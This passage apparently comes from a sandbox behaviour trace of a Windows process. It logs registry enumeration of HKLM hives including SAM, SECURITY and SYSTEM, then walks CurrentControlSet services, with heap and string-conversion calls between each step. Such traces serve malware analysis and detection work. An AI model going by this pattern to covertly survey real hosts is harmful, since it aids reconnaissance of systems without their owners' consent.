CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0228.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.853] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0228.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.853] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0228.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.853] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.854] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0228.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.854] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.854] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0228.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0228.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0228.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bf8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0228.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0228.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0228.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0228.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0228.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0228.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.857] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.857] RegCloseKey (hKey=0xc4) returned 0x0 [0228.857] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0228.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.857] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0228.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.858] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0228.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.858] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0228.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.858] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0228.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.858] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.858] RegCloseKey (hKey=0x148) returned 0x0 [0228.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0228.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0228.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1970, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0228.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 